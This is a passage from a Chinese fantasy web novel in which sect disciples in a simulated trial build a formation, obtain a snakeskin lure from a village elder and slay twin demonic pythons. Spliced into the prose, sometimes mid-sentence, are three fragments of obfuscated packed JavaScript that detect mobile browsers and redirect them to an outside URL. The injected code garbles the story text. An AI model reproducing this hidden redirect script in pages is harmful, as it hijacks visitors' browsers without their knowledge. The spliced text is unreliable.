还没等汤穗穗将屏住的那口气呼出来,只听到师姐接着开口:“那就要坚持下去啊。既然那天在我们面前信誓旦旦说‘历练哪有那么容易退缩’——然后一转眼就放弃了?” 邓娇学着那天少女说话的口吻复述着,汤穗穗听着自己大言不惭的语气,更是恨不得当下马上找个地洞钻进去:“师姐别再说了……” “你不会以为我不害怕吧?”邓娇笑着伸手轻点少女的额头,坦然地承认自己的怯懦,“我怕死了都,那会看清魔蛇的那瞬间,脑子里一片空白,浑身汗毛直立——差点忘了自己是谁、自己在哪、又要做什么” “可是……” “可是什么呢?我想,你师姐应该也像我师姐一样,无论面前出现什么,都能面不改色、从容不迫。”邓娇站得有些累了,索性依靠在旁边的木门框上,“但别忘了,她们是少数人。害怕是面对未知最正常的情绪,没必要因为这一点而觉得天都塌了。” “害怕、畏惧、恐惧,这些都是我们遇到危险时的本能反应。重要的是,情绪过后、意识回笼的那一刹,应该想什么、做什么?” 汤穗穗乖巧地抱着腿坐在邓娇的身边,眨了眨眼,全神贯注地等待对方给出接下来的答案。 “每个人都有不同的答案,我的答案也只供参考。”邓娇并没有如她想象中给出准确的答案,“每次我都会告诉自己,抓紧回神后的每一秒就足够了。” “回神后的……每一秒?” “毕竟,自责也需要时间啊。”邓娇耸了耸肩,“面对魔物的时候,都是持久不断的鏖战,早专注一秒,就会有一秒的先机。” “那些大道理我可不会说。等这里的事情结束后,我带你去认识认识我师姐们,她们说起话来,那可都是一套一套的。”邓娇忍不住又打个哈欠,睡意袭来,她揉了揉眼睛,撑着身体站起来,拍了拍身上的灰尘,“如果是我,我只会扔下方才的问题给你,让你回去好好思考——反正你也是睡不着。” “我……” “不用急着告诉我答案,”邓娇微微弯下腰,伸手摸了摸她的头发,眼神带着长辈般慈爱的目光,“答案不是给我的,是给你自己的。” “……我自己?” “你会知道答案的。”邓娇一边说着,一边将汤穗穗带回了房间里,闭着眼走到自己的位置,倒头就睡了过去。 汤穗穗本来以为自己会因为这个问题彻夜难眠,但还没等她开始思考,困倦一下子把她拖入梦乡。 等她醒来时,师姐们已经上山,身旁的唐澄澄看到汤穗穗醒来,主动分享今天的计划。 虽然四人今天的安排是在山下修养,但她们也没有闲着,沿着山脚下和村庄寻找适合布置阵法的地方。虽然立石村的村民并不多,但依旧要为他们建立起屏障,一是能将魔蛇的行动限制在山上,二来也可以避免魔蛇下山冲撞,伤害更多的百姓。 这是汤穗穗第一次接触阵法,也丝毫不敢懈怠,认认真真地根据宋璋师姐的交代准备材料,在合适的方位布置起来。 阵法用的是简单的“拘魔阵”,在四人配合很快也布置完成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504428|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人回到宋璋的身边,看着她闭眼起手掐诀,口中念念有词,片刻后睁眼,笑着开口轻拍汤穗穗的肩膀:“好啦。” “……看起来好像也没什么变化?”汤穗穗凝神看着面前的山丘,除了山丘被附上浅浅的灵气歪,其余也没有任何明显的差别。 “只是看不到而已,阵法并不需要多瞩目,能够生效即可。”宋璋笑着解释。 汤穗穗想起当时江面上,两位长辈就是构造了一个结界,或许那就是阵法的一种? “你猜的没错,”宋璋听到她的描述后,点点头,“听你的描述,那应当是属于障眼一类的阵法,属于更高一阶。维持不同的阵法,所需要的方式也不一样。” 以当前的阵法为例,宋璋以自己的灵力作为维持阵法生效的基点。换句话说,在她灵力耗尽之前,山上任何的魔物就不可能冲撞出来。 汤穗穗听到与对方的灵气相连,紧张地皱起眉头:“那……” 少女脸上瞬间变得紧张的神情逗笑了宋璋,她也知道为什么邓娇今早临出门的时候,絮絮叨叨地嘱咐一定要关照这棵“小稻苗”了。 “别担心,”唐澄澄拉住她的胳膊,低声解释,“维持阵法所消耗的灵力并不多,只是宋师姐不能再同我们一起上山而已。” 汤穗穗意识到自己闹了笑话,不自在地挠挠头,眼睛左瞟右瞟,点头小声地开口:“这样啊……” 与山下轻松的氛围不同,今日上山的众人刚从惊险万分的激战中抽离。 她们又一次遇到了魔蛇,好在人手够多,诸位心中又存了大战一场的心思。 在众人的包围下,即使魔蛇攻势迅猛,但依旧独木难支,很快落于下风。它并未选择死斗,抓准机会借助地势,“嗖”地溜进隐匿处中飞速逃离。 有人想要追上去,却被邓娇拉住了手臂,她沉默地摇摇头,阻止对方。 “为什么不追上去?这条蟒蛇不过结丹期,我们又不是打不过?”队友压低声音不满地开口,他的脾气有些急躁,更想早日将一切处理干净。 上山的均是结丹期以上,仅从修为来看,处理魔蛇最是轻松不过。 “那么急干什么,急着送死是吧!”邓娇不客气地拍了他的头,“我们对山上情况仍知之甚少,如果不管不顾追上去,说不定还会遇到什么。到时候不仅没将其拿下,反而两败俱伤,又或者被它反杀。” 那人听了邓娇解释,也明白其中利害,眼睁睁看着魔蛇逃离。 “这就是你遇到的那条,对吗?”邓娇调整自己的气息,一边审视周围的景象,一边开口询问紧贴后背的姬忘尘。 “是。” “果然。”邓娇轻笑,一切就如同她猜测的那样,“这条不是我遇到的。” 昨日听到姬忘尘的描述时,她还不能完全确定。但此刻真正和魔蛇对上之后,她十分很笃定,这条并非昨天遇到一直潜藏的蟒蛇。 她并没有刻意压低自己的声音,周围人也听得一清二楚。 “照前辈这个说法,这山上居然潜藏了两头魔蛇!”成洱倒吸一口凉气,“怪不得山下的灵气被吸得这么干净。” 在上山的时候,邓娇也将昨天夜里和汤穗穗一同看到的景象转述给众人。 “……情况比我们想象中更棘手啊。”蓝鄞忍不住感慨,瞥了一眼姬忘尘,“我就说跟你出来就绝对没有好事。” “还往里走吗?”听到她的话,姬忘尘也只是弯了唇角,将话题拉回山上的状况,“要不,再继续会会另一条魔蛇?” 邓娇没有先做决定,看向自己队友。其余两人在以往的配合中,也了解邓娇的心思,不约而同地点头表示同意。 “好!”成洱发现大家都认同了提议后,更是笑得豪爽,“真如那句俗语——‘来都来了’。” 32.我一定能做到 一行人在原地短暂休整过后,循着方才蟒蛇离开的方向跟了过去,果然发现了另一条蟒蛇的身影。两条蟒蛇身形交错,圆盘脑袋吐着蛇信子,赤红的竖瞳盯着面前几人,无声地警告着众人已经侵犯了它的领地。 还未等她们反应过来,两条蟒蛇一明一暗,互相配合,将六人包围在两条蛇身之中,往里收紧,誓要将这些不速之客绞杀于其中。 可面前的几人又怎会坐以待毙? 她们提起十二分精神,即使没有通过言语交流,但依旧在彼此的默契中,顺利从包围圈内跳出。不多时,双方攻守调转,蟒蛇反被困于六人攻势之中。 虽然蟒蛇的修为只有结丹期,并不算太高,但它们还是依靠山林的熟悉,再次灵活逃离,藏进了暗处。 她们站在原地听着窸窸窣窣的声音逐渐远去,没有再追上去。 她们知道,就算继续追上去,只怕也落得一样的结果。神情凝重的六人再次对视,决定下山商讨具体除去魔蛇的计划。 “这样根本不行。”到了山脚,蓝鄞呼出胸口的闷气,烦躁地踢开脚边的碎石子,紧紧皱着眉,“它们借助山林的优势藏身,行动又十分敏捷,一味强攻只会对我们不利。” 蟒蛇逃窜的速度很快,再加上它们对地形的熟知,就算她们一行人的修为远高于蟒蛇,依旧很难将它顺利控制,更别说将其击败并净化体内的魔种了。 倘若是现实所遇,她们还能考虑向宗门发出紧急援助的信号,等待援兵的到来。 然而这只是拟真试炼,她们只能在场景中找到切入口,自行处理所遇到的麻烦。 “短时间内,山林中我们很难比它们更熟悉。”姬忘尘开口补充,“或许……可以考虑使用阵法。” “我同意,既然我们做不到比它们更熟悉地势,”邓娇点点头,“那就将它引出来,配合阵法框死在某个地方,我们再一起将其消灭。” “可是,我们有人擅长阵法吗?”蓝鄞也知道是自己着急了,调整呼吸。 然而阵法的修习不像其他,很难直观地看出变化,更多作为辅助的效果,并且根据不同的阵法耗费的灵力巨大。听说几十年前,宗门内早年间有过阵法天才,掀起过一股学习阵法热潮,但意外陨落,也就不了了之。 现如今,除了资历较高的师长,或是对阵法很感兴趣的同辈,几乎无人会主动学习。 蓝鄞自己掌握的阵法极其有限,根本不能应对目前的状况。她将目光投向姬忘尘,期待对方突然给她露上一手。 然而很不巧的,姬忘尘缓慢地摇摇头,露出无奈的神情。 姬忘尘也并不擅长这些,在以往的任务中,她更多负责越境的武力压制,掌握的阵法更是屈指可数。 “别担心,宋璋可以。”邓娇注意到她们烦恼的视线,主动说起自己的好友。也正是因为有好友在,她完全不担心阵法的问题,“她在阵法上可是最有天赋了!就算再复杂的阵法,只要有人记录了下来,那就没有她不能复刻的。” 眼看困扰的难题也有了解决的办法,几人紧皱的眉头不由得舒展开来。因为今日共同对抗魔蛇,无形间关系也变得密切起来,忍不住开口互相攀谈。 “还好你们来了,”邓娇心情也变得轻松,她笑着搭上了姬忘尘的肩:“不然还就凭我们几个,还不知道能不能撑到援兵呢!” 一旁的蓝鄞笑着搭话:“那我们来的可真是及时。” “说不定我们的缘分正是命中注定的,”邓娇笑着,另一手揽在蓝鄞的肩膀上,“等回到宗门,我让我师兄请你们喝好酒!” “一言为定!”走在前面和其他人攀谈着的成洱笑着回头,“邓师姐可不能食言。” 姬忘尘侧过头看着邓娇笑得月牙弯弯的侧脸,和自己印象中的模样重合,心中更是五味杂陈, 她没有想到会在遇见,也没有想过再次见到对方会是这种场合。 “嗯?怎么不说话?不喜欢喝酒?”邓娇感受到她的视线,挑了挑眉,想起了汤穗穗,“你那小稻苗,你得多关注关注。加水施肥什么的,别过度了——不然,养不好的。” “前辈说的是。”姬忘尘点点头,听出言外之意。 确实在汤穗穗的教导上,她还有些不知所措。等这场比试结束之后,或许应当请教旁人教导的方式方法。 几人说说笑笑间回到了歇脚处,邓娇将她们的打算转述给宋璋。宋璋欣然认同她们的计划,只不过她沉默了半刻,脸色有些为难:“可以是可以,只是……” “只是?” “今日我按照你的嘱托,在山外布置了拘魔阵,恐怕无法与你们一道上山。”宋璋想了想,一道提出了解决的方案,“不过这不算关键。我可以将东西准备好,等你们商议好人选问题,我直接将要点传授即可” “也行,但临时学的难度大吗?”邓娇点点头,并不怀疑好友的判断。她只是有些担心临时学习阵法,可能会产生纰漏。 “不会的,相信我。我会根据布阵人再进行细节简化和调整,保证万无一失。”宋璋信誓旦旦,说到自己擅长的领域,她脸上也神采飞扬,“同时我还会准备聚灵符,维持阵法时直接用山上的灵气即可,” 宋璋拍了拍邓娇的肩膀,让好友放心。她走到一旁掏出随身携带的笔记本,思考从哪里着手改动阵法。 阵法是有着落了,但是人选还没有安排。邓娇收回视线,环顾剩余的队友。 “我来吧,正好我因为受伤,也帮不上忙。”在她正犹豫的时候,原本在一旁的伤员已经迫不及待地开口,“邓师姐,你也让我出点力吧,拜托拜托。” 伤员身上的伤虽不严重,但是上山一道出战多少还是影响正常发挥,得不偿失。 “行啊!”邓娇也知道对方的脾气,笑着点点头,拍了拍他的手臂,“那就交给你了,我们这些人可都托付在你身上了。” “放心交给我吧!”伤员叉着腰,说什么都要大露一手。 既然决定了人选,改好阵法的宋璋将这人拉到一旁,把要点仔细教导给对方,蓝鄞也凑到阵法的那边去听细节。邓娇正和姬忘尘还有其他人说着魔蛇身上的漏洞,成洱眼看没事,喊上唐澄澄趁此机会进行特训。 只剩下汤穗穗坐在角落里,抱着自己的膝盖出神地望着忙碌的众人。 “穗穗。” 汤穗穗被师姐的声音拉回了思绪,对方不知道什么时候结束的商谈,坐在自己的身边。 姬忘尘以为是对方不适应拟真试炼的强度,心中有些后悔也让她加入这场试炼:“别担心,快结束了。” 她们原本修为就远超山上的魔蛇,再加上阵法的助益,等一切准备妥当,就定能将魔蛇之患彻底解决。 这场试炼也会就此结束。 “师姐……”汤穗穗收回看向宋璋教授伤员阵法的视线,转头看向姬忘尘的眼睛,“你面对魔蛇的时候,真的不害怕吗?” “兴许是见得多,就没有任何感觉了。”姬忘尘摇摇头,脸上露出温和的笑容,伸手摸摸她的头安慰道,“师傅曾对我说,宗门试炼更考验的,是面对突发状况时的处理。不管最后的结果如何,能够在试炼中找到自己的不足并加以改善,就已经达到目的。 “所以穗穗,其实你不需要那么在意的。” “就算是拟真试炼,那也是真实存在的,不是吗?”汤穗穗理解师姐的意思,“我原本以为我能够成为师姐你的助力,但……” “不需要的,穗穗。你想得太多了。”姬忘尘看着她的眼睛,话语出口后意识到,这句话听起来似乎不太友善,忙解释道,“我的意思是,你因为想得太多而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姬忘尘虽然不知道对方心中做下了什么决定,但她看到师妹的眼眸重新被点亮,闪耀着那簇最耀眼的火苗。她发自心底地展开笑颜,点了点头:“我相信你,一如既往。” “谢谢师姐!”汤穗穗“噌”地站起来,快步到宋璋的面前,在她们停顿的间隙开口,望向最中间的人,“宋璋师姐,阵法上有什么我能帮上忙的吗?” 宋璋有些意外,下意识看向身旁的好友。邓娇看到汤穗穗跑过来的动作,不仅没有意外,反而露出“我就知道”的神情。 “你知道你在说什么吗?”邓娇抬了抬下巴,“这可不是过家家的游戏。往严重来说,你要是没操作好,我们所有人都会因你而丧命。” 邓娇的脸色严肃,措辞也很严厉,分外强调了这件事情的重要性。 “我能做到的,我不会因为自己而影响别人的。”汤穗穗望着师姐的眼睛,就像昨天晚上那样,“虽然短时间里我不能马上克服心里的恐惧,但是我一定能做到答应过的事情。” 就像邓娇师姐说的那样,她会抓紧恐惧后的每一秒。 “你能保证吗?”邓娇挑了挑眉,不置可否。 “我保证。”汤穗穗坚定地开口。 邓娇没有接话,只是用审视的目光上下打量着汤穗穗,似乎从她脸上找到逃避的痕迹。汤穗穗也没有逃避,反而坦然回望,将自己的真诚全盘展现。 周围的队友因为两人的交谈,默契地止住了话语。彼此对视后默默离开,将场地留给两人。看到汤穗穗这幅信心满满的样子,也忍不住弯着眉眼,想起当年那个无惧无畏的自己。 关于阵法的内容,宋璋已经将要点全部教授给对方,也该给对方一些自我消化的时间。所以她并没有选择离开,而是沉默地在一旁,也没有插嘴。 “好。”邓娇凝视她许久,移开目光看向宋璋。后者接受到眼神里的信号,笑着开口:“正好,阵法的安排上还缺人手吗,你能来就更好了!” 阵法还需要有人协助,就算汤穗穗没有主动请缨,稍晚些也会寻求她们的帮助。 她也很高兴看到“小稻苗”的眼睛里又燃起了无畏的火光,就像那天晚上反驳好友时那样。 33.蛇蜕 宋璋将汤穗穗带到学习阵法的队友面前,表明协助的来意后,就到一旁调整灵气休息。因为不时花费灵力维持阵法,虽然宋璋嘴上说的很轻松,但对于她的消耗还是不小的,时常需要打坐维持体内的灵气平衡,避免被阵法倒吸。 而这边的两人,由于白日里也有短暂的相处,队员之前也对汤穗穗印象深刻,友善地笑着开口:“状态调整得很快嘛,一看就很有大将之风。” “哪里哪里,吕师哥说笑了……”汤穗穗面对这种调侃不自然的低下了头,“我只希望自己不要成为拖别人后腿的那个人。” 队友姓吕,汤穗穗也就一直喊他吕师哥。 “能这么快重新鼓起勇气,已经很难得了。”吕师哥伸手拍了拍汤穗穗的肩膀,“不是所有人都能像你一样,这么快就调整过来的。” 说着,吕师哥还提起最初时自己出任务的窘况。 “我第一次出任务的时候,虽然修为比你高,但依旧手忙脚乱的,面对魔物更是直接愣在了当场,几乎到任务结束才缓过来。”吕师哥不好意思地挠挠头,“那次正好也是邓师姐带队,被她训了个狗血淋头。当时她的语气并不好,又没有宋璋在一旁,我差点羞愧得钻到地里去了。不过我知道邓师姐她直来直往惯了,也是对事不对人。” “总之,别担心,这些事慢慢调整就好了。”吕师哥今天白日里就看到对方眼睛里的愧疚,“不用给自己背上心理负担,一步一个脚印。当砌城的砖瓦足够多时,建成楼房也指日可待了。” “我明白吕师哥您的意思,但我还是觉得这次和实战有些不同嘛,我想表现到最好。”面对吕师哥的安慰,汤穗穗有些不太好意思。 她觉得自己依旧是被照顾着的。 她想为队伍付出一些自己的努力,这样才算是真正的“试炼”。 “都一样的。等你经历的足够多之后,就会发现:实战就是另一场试炼,试炼不过是又一场实战。——好了废话不多说,我们开始吧。” 吕师哥看着汤穗穗的劲头很好,也就没有再说旁的话,直接将方才阵法的要点转述给少女。 安排给汤穗穗的任务说轻不轻,说重不重。她主要是协助对方维持阵法的稳定,但也必须将阵法要点掌握,避免吕师哥临时出现什么岔子,进行及时补救, 至于安全方面,邓娇一直会护在她们身边,保证她们无需分心到魔蛇身上。 而对付魔蛇的主力军,就交给姬忘尘等人。 经过宋璋的修改后,阵法的要点并不多,更关键是熟练度的问题。这个阵法操作起来,灵力会随着阵法图案运转,观察起来比拘魔阵更明显一些。 不知不觉间,就到了第二天。因为考虑到阵法的准备还需要时间,所以今天并没有安排上山的计划,而是让各位好好休整。 宋璋经过一晚上的调息,状态刚好上一些,就连忙来问询吕师哥这边阵法的准备情况。吕师哥也没有辜负大家的期待,短短一夜间就已经掌握了九成。 “没想到你小子还有点天赋在,回宗之后也学学阵法呗?”宋璋赞赏地拍了拍吕师哥的肩膀,虽然阵法已经准备的差不多,“但要是有魔蛇相关的东西就更好了,这样能够直接引诱魔蛇现身。” “魔蛇相关的……蛇蜕算吗?”汤穗穗念叨着,忽然眼睛一亮。她想起以前在山上时,还跟师傅捡拾过野蛇的蛇蜕,一并带去杏林堂,据说是一味特别的药材。 就算蟒蛇入了魔,应当也是会遵循蛇类的生长规律吧。 既然如此,说不定山下的村民也会有捡拾蛇蜕的习惯。 “宋师姐,你说村子里会不会有魔蛇的蛇蜕之类的?” “哎,是个好主意,我们一起去问问看吧!”宋璋倒是忘了还有这回事,高兴地一拍手掌,拉着汤穗穗就往外跑去。 然而显示并不如她们预期般顺利,一连询问了好几户人家,都是无功而返。这些居民都没有上过山,更别说捡到过山上的蛇蜕了。 眼看着询问过的人家越来越多,得到的否定答案也越来越多,汤穗穗的心也慢沉了下去。 宋璋看出汤穗穗脸上的失落,搭上对方的肩膀,宽慰道:“没关系的,蛇蜕只是阵法的增益而已,就算没有也不要紧。” “可是,有了蛇蜕增益的话,大家都会轻松很多吧……”汤穗穗甚至萌生了自己跑到山上去找的想法。 毕竟如果不是特别重要,宋璋师姐也不会将这一点专门提起来。 “好了,先别想那么多,”宋璋觉得汤穗穗有些过于着急了,她伸手揉了两把对方的脑袋,抬了抬下巴,指向不远处的砖瓦房,“再往前走,就是那个瞎眼老太的家,说不定还会有转机呢?” 宋璋熟门熟路地上前,轻轻地敲击对方的门扉。瞎眼老太虽然行动不太便利,但还是拄着拐杖上前开门。 “阿婆,不好意思打扰您,我们想问问,您家里有蛇蜕吗?” 汤穗穗站在宋璋的身边,观察着面前一手拄着拐杖,一手拉开门扉的阿婆。阿婆一只眼睛布满白翳,另一只眼睛依旧明亮,面容虽然瘦削,但精气神依旧十足。 在汤穗穗打量阿婆的时候,阿婆也在打量面前的两人。 宋璋看阿婆久久未开口,以为这趟应当又以空手结束。为了不打扰阿婆,她礼貌地给出台阶:“没有的话也不要紧——” “你要多少?” 峰回路转竟在此刻,两人都没想到阿婆竟然给出了意料之外的答案,忍不住对视一眼,均在彼此的眼睛中看到神采飞扬的自己。 “不需要太多,有的话就已经很好了。” “我需要找找,你们先进来吧。”阿婆将引到家中,“我可没有什么能招待二位的,劳烦二位在一旁等待片刻。” “没关系没关系,需要我们帮忙吗?”汤穗穗兴奋地上前,跟在阿婆的身边开口。 “也行。”阿婆走到一旁的杂物房打开了门,向两人挥了挥手,“老婆子身体不好,劳烦二位自己找找了。” 汤穗穗听到这话,立马快步上前,还没等她走到杂物房里,就已经闻到一股药草的味道。等走进杂物房时,更是发现里面摆放着很大的木柜,设计样式正如是医馆放置的那样。 宋璋下意识开口询问:“您是为医者?” “我不是,那是我儿子的。”阿婆开口解释,看着两人分工翻找药柜的身影,带着怀念开口讲起了往事,“我的儿子从小就向往行医,年纪小小就到临镇学了一身本事。因为村子小,老村医很早就过世了,他说学成之后,要回来成为这里的村医,照顾百姓。我记得他捡过一条很大的蛇蜕,你们仔细翻找,应当是有的。” “那您的儿子在外地当医馆大夫嘛?”汤穗穗一遍翻找一边好奇地开口。 药柜并不大,里面也没有放置太多药草,在两人配合下很快找到了蟒蛇的蛇蜕。即使是蛇蜕,团起来的形状还是非常可观,汤穗穗一个人抱起来还有些遮挡视线,几乎看不清脚下的路。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516745|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他啊,前几年一场大病,死掉了。”说起自己儿子的死亡,阿婆的语气也没什么起伏。 “……抱歉婆婆,我们不是故意戳你伤心事的。” “无妨,这生老病死的,我也就看淡了。他要是还活着,应当也和你们差不多大小。”阿婆不在意地摆摆手,坦然地开口。反倒在她们捧出蛇蜕的时候,有了几分意外,“你们找到了——嚯,原来有这么大啊……” 当年阿婆儿子捡到蛇蜕的时候,她只是听儿子描述过,并没有亲眼见到。如今看到两个女娃捧出来的时候,确实出乎她的意料。 “老婆子看二位身手不凡,精神面貌也不像旁人,还有村子里前几天来的能人异士们——诸位是来处理‘神罚’的吧。”阿婆叹了口气,语气中并不报什么希望。不止是她,其他村民也是如此,“若是能解决那是极好的,若是不能解决,也就任它去吧,可别连累诸位道长才是。” “您不想这里变好吗?”汤穗穗眨了眨眼,明亮的眼眸填满不解。 她以为,当地的村民应当是最希望这里状况被改善的才是。 “这是神罚,倘若将诸位性命赔进去,那不就得不偿失了吗?”直到现在,阿婆也认为这是属于上天的“神罚”。 “无需担心。”见多识广的宋璋对阿婆的反应并不意外,“我们此行就是为你们而来。” “这……”阿婆还是对面前两人的说辞十分犹豫,不舍得面前两位殒命。 “婆婆请相信我们,我们一定会帮您解决的,”宋璋弯下腰,直视着阿婆的眼睛,伸手贴在阿婆粗糙的手背上,柔声道,“很快这里就会降下大雨,一切都将迎来新生。” 和阿婆拜别之后,两人拿着魔蛇的蛇蜕回到歇脚的地方。宋璋重新画了一个阵法,汤穗穗将蛇蜕放在阵法的正中心,为了减少灵力的损耗,宋璋将符箓代替自身灵力放在一旁运作。 她熟稔地闭眼掐诀念咒,很快将蛇蜕炼化到一个圆形的仪盘中。 “等吕师哥运转阵法时,你将按着仪盘上的指针方位放置,它就会吸引着魔蛇来到阵法附近。”宋璋将仪盘交给汤穗穗,顿了顿,提醒道,“不过因为融合了魔蛇的气息,到时候魔蛇可能朝阵法的方向攻击。不过别担心,我们都会保护好你的。” 汤穗穗双手接过仪盘,认真地点了点头表示了解。 她双手紧紧地捏着仪盘,在心中暗暗发誓,自己明天绝对不会影响大家。 说话间,宋璋突然脸色煞白,站不稳一个踉跄往前方扑过去。站在面前的汤穗穗立马扶住了她,周围所有人都将她围在中间,成洱也马上过来为她把脉。 “我没事,只是方才魔蛇冲撞了拘魔阵。”宋璋摇摇头,看向邓娇宽慰道,“它也知道自己死期将至,变得暴躁了。” “你就别说笑了。”邓娇皱着眉,看不得好友强颜欢笑的样子。 既然阵法的准备也差不多了,时间拖得越久对宋璋越不利。一行人商议过后,决定明天最后就上山,誓要将魔蛇彻底拿下。而成洱和唐澄澄则留在山下,负责给宋璋提供保护和协助。 汤穗穗看着准备中的大家,和脸色已经变的苍白的宋璋师姐,在心中暗暗给自己打气。 不仅仅是为了试炼,更是为了村子里的大家,更是为了这几天朝夕相处的伙伴们。 即使这只是一场假象,但这里的所有人都真实地活着。 既然她有机会能够出现在这里,她也想帮上各位,也想完成自己的试炼。 34.久旱逢甘霖 为了能够速战速决,一行人很早就上山。这次已经是第三次上山,各位做足准备,更是信誓旦旦,都抱着坚定的决心和必胜的信念。 上山之后,吕师哥按照宋璋教授的方式掐诀简单判断了方位,选了块还算宽阔的地方布上阵法,而汤穗穗也在一旁协助。 阵法启动之后,她从怀里掏出了仪盘,果然正如宋璋所料,根本不需要灵气驱动,表盘上的指针不停旋转着,不一会就指向西北的方向颤动着。 众人不约而同地护在操纵阵法的两人周围,汤穗穗按照宋璋昨晚吩咐的那样,握着仪盘站在指定的位置。 阵法刚启动不久,山林西北方传来窸窸窣窣的声音。汤穗穗眼看着手里的仪盘的指针忽然变向,一直在两个方位间跳动着。 就在下一刻,两条巨蟒从指示的两个方位朝她们扑出来——准确来说,是朝汤穗穗手中的仪盘奔来。 在一旁早有准备的几人抓准时机,将蟒蛇引入既定的位置。吕师哥眼看魔蛇出现,将阵法变换,从中央平地升起巨大的金网将两条魔蛇困入其中。有了阵法的协助,魔蛇移动的范围也受到了限制,拼命冲撞、始终无法逃离。 阵法只对魔物生效,对其余几人并无影响。 两条魔蛇眼看着自己被束缚,仍不死心,挣扎着就往仪盘的方向扑去。 即使知道师姐们一定会保护自己周全、即使知道魔蛇在金网的束缚下无法逃离…… 可是当汤穗穗看到血盘大口张着往自己方向扑来的那一刻,又一次下意识地闭上眼睛,只听见心跳如雷声轰隆,感觉全身汗毛直立,畏惧的本能险些让她软了双腿。 她自己也清楚,这份畏惧更多源自于魔蛇巨大的体型给她带来的震慑。 但也就是在闭眼的那一刻,她听到了藏在内心深处的声音:魔蛇当真不可战胜吗? 并非如此。 所有人已经为这一战做好了万全的准备,包括她自己。 汤穗穗咽下口水,沉下心来做深呼吸,将闷在心里的那股浊气呼出。再次睁眼双眼时,已是满目坚定。 她们都在为了魔蛇而准备了许多,她们一定能成功。 汤穗穗调整好自己的状态,低着头专心在自己的位置上。哪怕捧着仪器的双手都在止不住地颤抖,但是她依旧全神贯注地协助吕师哥,操纵着聚灵符维持阵法的稳定。 蟒蛇在她耳旁大声咆哮,蛇尾在她身旁用力鞭打地面,她全都置若罔闻,完全进入“无我”的状态。 此刻,她摒弃了全部的杂念,将一切放在正在转动的阵法上。 在几位师姐的夹击下,两条魔蛇的攻势再迅猛也终究落于下风。这次还有金网的束缚,甚至不能藏身于林中。鏖战中,其中一条蟒蛇被蓝鄞的长枪贯穿了咽喉,无力地倒在了地面,溅起了地上的枯叶与泥尘,遮挡了视线。 没想到这两条魔蛇竟然是双生的,这条魔蛇咽气的瞬间,另一条魔蛇瞬间将这条蟒蛇的魔气吸附过去,直接破镜,爆发出磅礴的气势。它的其中一只眼睛被刺穿,流淌着血泪,另一只赤瞳更是往外冒着紫红色的火焰。 邓娇刚将面前的灰尘拂去,只看到破镜的魔蛇瞄准了蓝鄞,不管不顾地朝她扑过去。 “小心!” 邓娇的提醒刚出口,姬忘尘的弯刀朝魔蛇身上砍去,逼得魔蛇变换方向。争取到时间的蓝鄞顺势将长枪拔出,灵巧避开魔蛇的反击,总算是有惊无险。 不过好在出战的人修为高,并且有阵法拘束。这条魔蛇就算即使临时破镜,也依旧寡不敌众,最后被姬忘尘师姐戳穿最脆弱的眼球,软软地瘫倒在了原先死去的蟒蛇身上。 几位师姐合力将蟒蛇身上的魔种彻底炼化,被炼化后的巨蟒化作两条白骨互相依偎着,再也看不出方才凶猛的模样。 不知是谁率先叹了口气,解除了紧绷的精神。彼此对视着,僵直的脊背也忍不住松弛,笑容盈满了她们的面庞。 “总算结束了!”吕师哥高兴地拍了拍汤穗穗,笑着解除阵法的布置。汤穗穗朝对方看去,作为阵法主导人的他,也因为大量的灵力消耗而面色苍白。 汤穗穗还有些懵,好像这一切并没有她开始想象中的那么困难。 她看着吕师哥苍白的脸色,紧张地开口:“吕师哥……” “没事没事,睡一觉就好了!”吕师哥知道自己的情况,并不在意这个。他洒脱地挥挥手,一只手收拾着阵法的道具,一只手推着她往外,“你看看别人有没有需要帮忙的吧!” 汤穗穗朝前方看去,几位和魔蛇交手的师姐正兴致勃勃地讨论着方才交战的细节,却没看到邓娇师姐的身影。 她环顾一周,却发现邓娇却蹲在地上,翻看着方才的蛇骨,脸色有些严肃。 因为魔蛇本身已经有修为的缘故,这两条蛇骨也被炼化成十分坚硬的状态。 “邓娇师姐,这些白骨怎么了吗?”汤穗穗蹲在邓娇身边,也审视着面前的蛇骨,以为上面还残留着什么蹊跷。 实际情况跟汤穗穗猜想迥乎不同,邓娇只是想到自己那个非常喜欢锻造器具、捣鼓机械的师哥,心想这两具蛇骨或许正是用来锻造的好材料。 “你想多啦,你不觉得魔蛇的白骨很罕见吗?”邓娇偏头看向身边的汤穗穗耐心地解释着,伸手将蛇骨拾起,“小稻苗,你还缺武器吗?我记得你用的还是木剑吧……来,一起把蛇骨捡了,回头我让师哥也给你打一把。” “……能带出去吗?” 汤穗穗不确定拟真试炼的物件,能不能带到现实中去。毕竟从“拟真”字面上的意思来看,里面的一切都并非真实的意思。 “为什么不能?”邓娇以为对方问的是“需不需要经过村民的许可”,失笑开口,“村民们又不知道。” 汤穗穗知道邓娇师姐误解了自己的意思。她刚要开口,却听到蓝鄞严肃的声音:“这天色不太对劲,我们该下山了!” “快走快走——”邓娇看天色不对,连忙招呼几人,手上加快了拾骨的动作。 “发生什么了吗?”汤穗穗还在一边不明所以,被站在一旁的姬忘尘一把拉起,跟着众人往上下跑去。 在下山的路上,姬忘尘顺便给汤穗穗解释。 